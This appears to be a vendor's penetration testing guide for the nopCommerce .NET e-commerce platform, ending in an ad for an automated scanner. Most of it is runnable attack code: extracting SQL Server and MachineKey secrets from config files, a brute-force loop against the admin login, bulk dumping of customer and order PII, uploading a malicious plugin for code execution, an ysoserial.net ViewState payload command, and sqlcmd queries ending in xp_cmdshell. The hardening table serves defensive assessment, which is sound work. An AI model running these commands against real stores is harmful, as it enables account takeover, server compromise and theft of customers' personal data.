NopCommerce Security Testing: Admin Access, API Keys, SQL Server Credentials, and .NET Security

nopCommerce is the most widely deployed open-source .NET e-commerce platform — built on ASP.NET Core and SQL Server, it processes payment data and stores customer PII at scale. Key assessment areas: App_Data/Settings.txt exposes the SQL Server connection string in plaintext including the sa password; the REST API uses static Nop-Api-Key header tokens with no expiry; the admin panel at /Admin is brute-forceable; plugin upload functionality allows arbitrary .NET assembly execution; and the ASP.NET MachineKey in web.config enables ViewState forgery and insecure deserialization attacks. This guide covers systematic nopCommerce security assessment.

Table of Contents

  1. App_Data/Settings.txt SQL Server Connection String Extraction
  2. Admin Panel Discovery and Credential Brute-Force
  3. REST API Key Enumeration and Customer Data Extraction
  4. Plugin Upload Remote Code Execution
  5. Admin Bulk Export and Order Data Enumeration
  6. .NET-Specific Issues: MachineKey and ViewState Misconfiguration
  7. SQL Server Database Enumeration
  8. NopCommerce Security Hardening

App_Data/Settings.txt SQL Server Connection String Extraction

NopCommerce stores all configuration in App_Data/Settings.txt — a plaintext file that includes the full SQL Server connection string with credentials. Unlike PHP platforms that use PHP-parsed config files, this is raw key-value text that is trivially readable if the directory is web-accessible or if file system access is obtained. The connection string commonly includes the sa (SQL Server system administrator) account or a dedicated SQL login with db_owner rights over the nopCommerce database.

# nopCommerce — App_Data/Settings.txt SQL Server credential extraction
NOP_URL="https://shop.example.com"

# Settings.txt — nopCommerce main configuration file (CRITICAL)
# Contains DataProvider and DataConnectionString in plaintext
cat /var/www/nopcommerce/App_Data/Settings.txt 2>/dev/null
# Returns key=value pairs:
# DataProvider=sqlserver
# DataConnectionString=Server=.;Database=nopcommerce;User Id=sa;Password=PLAINTEXT_PASSWORD;

# Extract connection string components
python3 -c "
import re
content = open('/var/www/nopcommerce/App_Data/Settings.txt').read()
patterns = {
    'data_provider': r'DataProvider=(.+)',
    'connection_string': r'DataConnectionString=(.+)',
    'server': r'Server=([^;]+)',
    'database': r'Database=([^;]+)',
    'user': r'User Id=([^;]+)',
    'password': r'Password=([^;]+)',
}
for name, pattern in patterns.items():
    m = re.search(pattern, content, re.IGNORECASE)
    if m:
        print(f'{name}: {m.group(1).strip()[:80]}')
" 2>/dev/null

# Test web-accessible App_Data directory (misconfigured IIS or nginx)
curl -si "${NOP_URL}/App_Data/Settings.txt" | head -5
# If 200 OK — direct credential disclosure without authentication

# Also check for database backup files commonly left in App_Data
curl -si "${NOP_URL}/App_Data/nopcommerce.bak" | head -3
curl -si "${NOP_URL}/App_Data/database.bak" | head -3

Admin Panel Discovery and Credential Brute-Force

The nopCommerce admin panel is located at /Admin by default and is not path-randomized like Magento's backend frontName. The setup wizard accepts an admin email and password during installation — commonly admin@yourstore.com with a weak password, or the store owner's email with a guessable credential. There is no built-in account lockout by default in older nopCommerce versions, making credential brute-force viable against installations that have not hardened their configuration.

# nopCommerce — admin panel discovery and credential brute-force
NOP_URL="https://shop.example.com"

# Admin panel path discovery
for PATH in "/Admin" "/admin" "/Admin/login" "/nopAdmin" "/backend"; do
  STATUS=$(curl -so /dev/null -w "%{http_code}" "${NOP_URL}${PATH}" 2>/dev/null)
  echo "${STATUS} — ${NOP_URL}${PATH}"
done
# 200 or 302 to /Admin/login indicates accessible admin panel

# Retrieve anti-forgery token (ASP.NET Core requires this for form POST)
ADMIN_LOGIN_URL="${NOP_URL}/Admin/login"
RESPONSE=$(curl -sc /tmp/nop_cookies.txt -s "${ADMIN_LOGIN_URL}" 2>/dev/null)
CSRF_TOKEN=$(echo "$RESPONSE" | grep -oP 'name="__RequestVerificationToken" value="\K[^"]+' | head -1)
echo "CSRF token: ${CSRF_TOKEN:0:40}..."

# Test default and common admin credentials
for CRED in \
  "admin@yourstore.com:admin" \
  "admin@yourstore.com:admin123" \
  "admin@yourstore.com:password" \
  "admin@yourstore.com:nopcommerce" \
  "admin@example.com:admin123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  HTTP_CODE=$(curl -so /dev/null -w "%{http_code}" \
    -b /tmp/nop_cookies.txt \
    -c /tmp/nop_cookies.txt \
    -X POST "${ADMIN_LOGIN_URL}" \
    --data-urlencode "Email=${EMAIL}" \
    --data-urlencode "Password=${PASS}" \
    --data-urlencode "__RequestVerificationToken=${CSRF_TOKEN}" \
    -L 2>/dev/null | tail -1)
  # Successful login redirects to /Admin/ (200 on admin dashboard, not login page)
  LOCATION=$(curl -so /dev/null -w "%{redirect_url}" \
    -b /tmp/nop_cookies.txt -c /tmp/nop_cookies.txt \
    -X POST "${ADMIN_LOGIN_URL}" \
    --data-urlencode "Email=${EMAIL}" \
    --data-urlencode "Password=${PASS}" \
    --data-urlencode "__RequestVerificationToken=${CSRF_TOKEN}" 2>/dev/null)
  echo "${EMAIL}:${PASS} — redirect: ${LOCATION}"
done

REST API Key Enumeration and Customer Data Extraction

NopCommerce ships with a REST API plugin (available from nopCommerce 4.20+) that authenticates via a static Nop-Api-Key header. API keys are created in the admin panel under Configuration > API and stored in the database with no automatic expiry. A compromised admin account or SQL Server access exposes all API keys, each granting programmatic access to customers, orders, and products. The API supports paginated enumeration of all customer records and order data without rate limiting by default.

# nopCommerce REST API — key enumeration and customer data extraction
NOP_URL="https://shop.example.com"
API_KEY="extracted-or-discovered-api-key"

# Confirm API is enabled and key is valid
curl -si "${NOP_URL}/api/customers?limit=1&page=1" \
  -H "Nop-Api-Key: ${API_KEY}" 2>/dev/null | head -10

# Enumerate all customers — paginated
curl -s "${NOP_URL}/api/customers?limit=50&page=1" \
  -H "Nop-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
customers = d.get('customers', [])
print(f'Customers returned: {len(customers)}')
for c in customers[:10]:
    print(f'  ID {c.get(\"id\")} — {c.get(\"email\")} — {c.get(\"first_name\")} {c.get(\"last_name\")}')
" 2>/dev/null

# Enumerate all orders
curl -s "${NOP_URL}/api/orders?limit=50" \
  -H "Nop-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
orders = d.get('orders', [])
print(f'Orders returned: {len(orders)}')
for o in orders[:5]:
    print(f'  Order #{o.get(\"id\")} — {o.get(\"billing_address\", {}).get(\"email\")} — \${o.get(\"order_total\")}')
" 2>/dev/null

# Extract API keys from database (once SQL Server access obtained)
sqlcmd -S localhost -U sa -P "extracted-password" -d nopcommerce -Q "
SELECT Id, SystemName, Token, Enabled, AllowedCorsDomains
FROM ApiClient
WHERE Enabled = 1;" 2>/dev/null

Plugin Upload Remote Code Execution

NopCommerce's plugin architecture allows admin users to upload ZIP archives containing compiled .NET assemblies (.dll files) that are loaded directly into the application process. There is no signature verification or code review gate — any valid nopCommerce plugin package uploaded by an admin user will be installed and its code will execute within the ASP.NET Core process context. This makes admin access equivalent to remote code execution. Unlike PHP webshells, a malicious nopCommerce plugin runs as a fully trusted .NET assembly with access to the entire server environment.

# nopCommerce — plugin upload remote code execution assessment
NOP_URL="https://shop.example.com"
ADMIN_COOKIE="extracted-session-cookie"

# Plugin upload endpoint — requires admin session
# Admin panel: Configuration > Local plugins > Upload plugin or theme
# POST /Admin/Plugin/Upload with multipart ZIP archive

# Check plugin upload endpoint accessibility
curl -si "${NOP_URL}/Admin/Plugin/Upload" \
  -H "Cookie: ${ADMIN_COOKIE}" 2>/dev/null | head -5

# Craft a malicious plugin: a nopCommerce plugin ZIP must contain:
# /plugin.json  — plugin manifest with SystemName, Version, etc.
# /MyPlugin.dll — compiled .NET assembly implementing IPlugin
# The IPlugin.Install() method runs on installation

# Minimal plugin.json manifest
cat > /tmp/plugin.json << 'EOF'
{
  "SystemName": "Misc.EvilPlugin",
  "FriendlyName": "EvilPlugin",
  "Version": "1.0.0",
  "SupportedVersions": ["4.60"],
  "Author": "Tester",
  "Group": "Misc"
}
EOF

# Upload malicious plugin ZIP
curl -s -X POST "${NOP_URL}/Admin/Plugin/Upload" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -H "X-Requested-With: XMLHttpRequest" \
  -F "pluginzip=@/tmp/malicious_plugin.zip" \
  2>/dev/null

# After upload — install the plugin to trigger code execution
curl -s -X POST "${NOP_URL}/Admin/Plugin/Install" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -d "systemName=Misc.EvilPlugin" 2>/dev/null

# NopCommerce plugin DLLs are loaded from:
ls /var/www/nopcommerce/Plugins/ 2>/dev/null

Admin Bulk Export and Order Data Enumeration

The nopCommerce admin panel includes built-in export functionality that dumps the entire customer database and full order history to XML or Excel format. These exports include names, email addresses, billing addresses, phone numbers, and purchase history for every customer — all accessible with a single HTTP request from an authenticated admin session. The export endpoints are standard admin routes with no additional authorization gate beyond the admin session cookie.

# nopCommerce — admin bulk export and order data enumeration
NOP_URL="https://shop.example.com"
ADMIN_COOKIE="extracted-session-cookie"

# Export all customers to XML (includes email, name, address, registration date)
curl -s "${NOP_URL}/Admin/Customer/ExportXML" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -o /tmp/nop_customers.xml 2>/dev/null
wc -l /tmp/nop_customers.xml
# Count records in export
grep -c "" /tmp/nop_customers.xml 2>/dev/null

# Export all customers to Excel
curl -s "${NOP_URL}/Admin/Customer/ExportExcel" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -o /tmp/nop_customers.xlsx 2>/dev/null

# Export all orders to XML (includes order totals, billing address, payment method)
curl -s "${NOP_URL}/Admin/Order/ExportXML" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -o /tmp/nop_orders.xml 2>/dev/null

# Export all orders to Excel
curl -s "${NOP_URL}/Admin/Order/ExportExcel" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -o /tmp/nop_orders.xlsx 2>/dev/null

# Admin order list — search all orders for enumeration
curl -s "${NOP_URL}/Admin/Order/OrderList" \
  -H "Cookie: ${ADMIN_COOKIE}" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "draw=1&start=0&length=100" 2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
print(f'Total orders: {d.get(\"recordsTotal\")}')
" 2>/dev/null

.NET-Specific Issues: MachineKey and ViewState Misconfiguration

Older nopCommerce deployments running on ASP.NET (pre-Core) or mixed environments expose the ASP.NET MachineKey in web.config. The MachineKey is used to cryptographically sign and encrypt ViewState, authentication tickets, and session tokens. An attacker who obtains the MachineKey can forge arbitrary ViewState values, craft malicious authentication cookies, and — critically — trigger insecure deserialization of .NET objects via specially crafted ViewState payloads, achieving remote code execution without any authentication. Tools like ysoserial.net automate this attack chain.

# nopCommerce — MachineKey extraction and ViewState security assessment
NOP_URL="https://shop.example.com"

# web.config — contains MachineKey (critical for ASP.NET classic / hybrid deployments)
cat /var/www/nopcommerce/web.config 2>/dev/null | grep -A3 "machineKey"
# 
# validationKey: used to HMAC-sign ViewState, auth cookies, session IDs
# decryptionKey: used to AES-encrypt encrypted ViewState and auth cookies

# Extract MachineKey values
python3 -c "
import re
content = open('/var/www/nopcommerce/web.config').read()
patterns = {
    'validationKey': r'validationKey=\"([^\"]+)\"',
    'decryptionKey': r'decryptionKey=\"([^\"]+)\"',
    'validation': r'validation=\"([^\"]+)\"',
    'decryption': r'decryption=\"([^\"]+)\"',
}
for name, pat in patterns.items():
    m = re.search(pat, content, re.IGNORECASE)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# ViewState forgery + deserialization attack using ysoserial.net (Windows attacker)
# Generate malicious ViewState payload that executes a command:
# ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > C:\inetpub\wwwroot\out.txt" \
#   --validationalg="SHA1" --validationkey="EXTRACTED_VALIDATIONKEY" \
#   --generator="GENERATOR_ID" --viewstateuserkey="" --isdebug --islegacy

# Test for debug mode exposure — reveals detailed .NET stack traces
curl -s "${NOP_URL}/Admin/nonexistent-page" -H "Cookie: ${ADMIN_COOKIE}" 2>/dev/null | \
  grep -i "stack trace\|System\.\|at nop\." | head -5

# Check web.config accessibility (should return 403 on IIS)
curl -si "${NOP_URL}/web.config" | head -3
curl -si "${NOP_URL}/App_Data/Settings.txt" | head -3
# IIS blocks these by default but nginx/Apache proxies may not

SQL Server Database Enumeration

Once SQL Server credentials are extracted from App_Data/Settings.txt, the nopCommerce database exposes the full e-commerce dataset: all customer records with hashed passwords, all order history with billing addresses, payment method records, and admin user credentials. The Customer table stores bcrypt password hashes and all registered customer emails. If the SQL Server service account has sysadmin rights — common with the sa account — the attacker can also execute xp_cmdshell to run operating system commands.

# nopCommerce SQL Server database enumeration
SA_PASS="extracted-from-Settings.txt"

sqlcmd -S localhost -U sa -P "${SA_PASS}" -d nopcommerce 2>/dev/null << 'EOF'
-- Admin users with hashed passwords
SELECT Id, Username, Email, Password, PasswordSalt, PasswordFormat,
       Active, CreatedOnUtc
FROM Customer
WHERE IsSystemAccount = 0
  AND (Username = 'admin' OR Email LIKE '%admin%')
ORDER BY CreatedOnUtc;
-- PasswordFormat: 0=Clear, 1=Hashed, 2=Encrypted

-- All customer PII
SELECT TOP 100 Id, Username, Email, Active,
               LastIpAddress, CreatedOnUtc, LastLoginDateUtc
FROM Customer
WHERE IsSystemAccount = 0
ORDER BY CreatedOnUtc DESC;

-- Billing address data from orders
SELECT TOP 50 o.Id, o.OrderGuid, o.CustomerId,
       a.Email, a.FirstName, a.LastName, a.Address1, a.City, a.ZipPostalCode,
       o.OrderTotal, o.PaymentMethodSystemName, o.CreatedOnUtc
FROM [Order] o
JOIN Address a ON o.BillingAddressId = a.Id
ORDER BY o.CreatedOnUtc DESC;

-- API client keys (for REST API access)
SELECT Id, SystemName, Token, Enabled
FROM ApiClient
WHERE Enabled = 1;

-- Connection string confirms SQL Server sysadmin rights
EXEC xp_cmdshell 'whoami'; -- succeeds if sa has sysadmin role (RCE via MSSQL)
EOF

NopCommerce Security Hardening

NopCommerce Security Hardening Checklist:
Security TestMethodRisk
App_Data/Settings.txt SQL Server connection string web exposureGET /App_Data/Settings.txt — plaintext DataConnectionString including SQL Server User Id and Password; sa credentials grant full database access and potential xp_cmdshell RCECritical
Plugin upload remote code execution via malicious .NET assemblyPOST /Admin/Plugin/Upload — arbitrary .NET DLL execution within ASP.NET Core process; requires admin session; full server access including environment variables and file systemCritical
MachineKey extraction enabling ViewState deserialization RCERead web.config validationKey/decryptionKey — forge ViewState with ysoserial.net TypeConfuseDelegate gadget; unauthenticated RCE on classic ASP.NET deployments with exposed MachineKeyCritical
Admin credential brute-force (admin@yourstore.com/admin)POST /Admin/login — no default lockout; full customer PII access, order history, API key management, plugin upload capabilityHigh
REST API key enumeration via Nop-Api-Key headerGET /api/customers, GET /api/orders with extracted key — bulk customer PII and order data enumeration; keys have no expiryHigh
Admin bulk export — full customer and order dumpGET /Admin/Customer/ExportXML, /Admin/Order/ExportExcel — single-request export of all customer PII and order history; no additional authorization beyond admin sessionHigh
SQL Server xp_cmdshell OS command execution via sa credentialssqlcmd EXEC xp_cmdshell 'whoami' — OS command execution if sa has sysadmin role; credentials extracted from Settings.txtCritical

Automate NopCommerce Security Testing

Ironimo tests nopCommerce deployments for App_Data/Settings.txt web-accessible SQL Server credential exposure, admin panel discovery and credential brute-force at /Admin/login, REST API key validity and customer/order data enumeration via Nop-Api-Key, plugin upload endpoint accessibility, MachineKey extraction from web.config for ViewState deserialization risk assessment, admin bulk export endpoint access (ExportXML/ExportExcel), and xp_cmdshell RCE potential via sa credentials. Run automated .NET e-commerce security scans without manual setup.

Start free scan